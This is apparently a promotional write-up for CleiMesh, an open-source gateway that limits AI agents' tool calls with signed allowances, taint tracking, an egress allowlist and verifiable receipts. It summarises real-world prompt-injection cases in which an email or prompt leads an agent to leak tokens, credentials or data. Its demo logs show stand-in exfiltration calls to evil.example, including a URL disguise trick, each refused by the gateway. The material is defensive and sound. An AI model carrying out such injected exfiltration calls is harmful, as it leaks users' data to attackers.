2026 has a pattern. A single email takes over a cloud agent and reaches its Gmail token (Salt Labs' "Manus" research). A single prompt to an AWS Bedrock AgentCore agent reaches the instance metadata service and pulls over-permissioned cloud credentials — and AWS called it "expected behavior" (Zenity, CVE-2026-18830). Microsoft 365 Copilot leaks data through indirect prompt injection again and again — Reprompt, ShareLeak, SearchLeak, CoSnitch — and in one reported case the data left even though the safety layer flagged the attack.
Different products, one failure: an agent acting with broad, inherited authority, and nothing enforcing the limit at the moment of the action. Google measured a 32% rise in malicious prompt injections in a single quarter; the Cloud Security Alliance says indirect injection has crossed from proof-of-concept to live exploitation; Anthropic says no browser agent is immune.
So stop trying to win the injection fight. You won't. The model will be fooled.
Win the next step instead. Look at what every one of those incidents actually needs to do damage: send the email, fetch the attacker's URL to exfiltrate, pay the wrong payee, invoke another agent with your credentials. The injection is the match; the tool call is the fuel. Put the control on the tool call — outside the agent, where a prompt can't reach it — and the injection buys nothing.
That is what CleiMesh does: a signed, delegable permission the gateway enforces on each tool call, with a receipt. Four things it stops — each a command you can run.
1. A spending cap the agent can't widen
Give an agent a signed allowance — one tool, one recipient, a total, a number of calls — and it acts on its own inside that, while a prompt-injected agent can't widen it, because the limit lives outside the agent, not in its prompt.
agent> pay demo $2.00 -> ok. spent $2.00 of $5.00. agent> pay demo $2.00 -> ok. spent $4.00 of $5.00. agent> pay demo $2.00 -> refused: over the $5.00 allowance. agent> pay attacker $1.00 -> refused: payee not in the allowance. # one line to install, then one command — no clone, no build: curl -fsSL https://github.com/cleitonaugusto/cleimesh/releases/latest/download/install.sh | sh cleimesh demo payments 2. The injected agent can't act — the Manus case
A tool that reads mail brings in outside content, so it taints the agent. Tools that act on the world are refused while the agent is tainted, until a human clears it. This is the control for the one-email takeover.
agent> send_email to team@acme.example -> ok. agent> read_inbox -> ok. (carries injected instructions) agent> send_email to attacker@evil.example -> refused: received untrusted content agent> fetch_url evil.example/collect?data=.. -> refused: received untrusted content cleimesh demo taint 3. An egress allowlist — the exfiltration case
The exfiltration step behind the Copilot flaws is a fetch to the attacker's domain. Constrain the agent's fetch tool to the hosts the human signed, and the attacker's URL — and the classic allowed-host@attacker disguise — are refused at the gateway, before the server runs.
agent> fetch_url https://api.acme.example/v1/data -> ok. agent> fetch_url https://evil.example/collect?data=.. -> REFUSED agent> fetch_url https://api.acme.example@evil.example -> REFUSED cleimesh demo egress 4. In front of a real server
None of this is a toy protocol. examples/wrap-google-workspace.sh puts CleiMesh in front of a popular Gmail MCP server: the read tools taint, the send and draft tools are clean-only. An agent that read a message can't send one until you clear it. Your Google login stays with you; CleiMesh only gates the calls.
5. And you can prove it — in a 640-byte proof
Enforcement stops the overspend. The receipt is what lets someone check, afterward, that it did. Every call — allowed or refused — lands in a signed, hash-chained receipt, and those receipts form a transparency log built on the same Merkle construction as Certificate Transparency and Sigstore. So a third party can verify that one receipt is in the signed log, and that the log only ever appended — with a 640-byte proof, in about 13 microseconds, in a log of a million receipts, without the other 999,999 and without trusting the agent or the gateway that wrote it.
cleimesh audit sth # the signed head of the log cleimesh audit prove 3 # a proof that receipt #3 is in it That is the part none of the "budget for your agent" tools have: not just a limit, but a record a stranger can verify. The receipts reproduce the published test vectors of the IETF agent-action-receipts draft byte for byte — it's a format, not a silo. (Numbers and the vectors: BENCHMARKS.md.)
What this does not do
It does not fix the injection, the SSRF, or the rendering race — those live inside the model or the app. It covers the layer where the damage lands: the tool call that sends, fetches, pays, or delegates. If the harm never crosses a tool boundary CleiMesh mediates, CleiMesh doesn't see it. That honesty is the point: we don't claim to make agents un-foolable. We make being fooled cost nothing.
Install it, run cleimesh demo all, and watch each attack get refused in about ten seconds. Then put it in front of your own agent's riskiest tool.
CleiMesh is alpha and open source (MIT / Apache-2.0). It is the enforcement layer, not a promise that your model is safe. Code and demos: github.com/cleitonaugusto/cleimesh

